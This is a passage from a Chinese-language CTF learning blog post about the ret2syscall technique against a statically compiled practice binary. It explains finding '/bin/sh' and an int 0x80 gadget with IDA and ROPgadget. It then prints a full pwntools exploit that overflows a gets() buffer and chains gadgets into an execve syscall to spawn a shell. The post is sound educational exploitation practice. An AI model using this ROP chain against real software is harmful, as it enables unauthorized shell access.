当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。
IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc版本,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。
IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。
截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。
1 from pwn import * 2 3 p = process(‘./ret2syscall‘) 4 5 binsh_addr = 0x080be408 6 pop_eax = 0x080bb196 7 pop_edx_ecx_ebx = 0x0806eb90 8 int80_addr = 0x08049421 9 10 payload = ‘a‘*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr) 11 12 p.sendline(payload) 13 p.interactive()
这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。
直接main函数一个gets溢出,然后就没了。我这里还是和上个题一样,
原文:https://www.cnblogs.com/bhxdn/p/12489812.html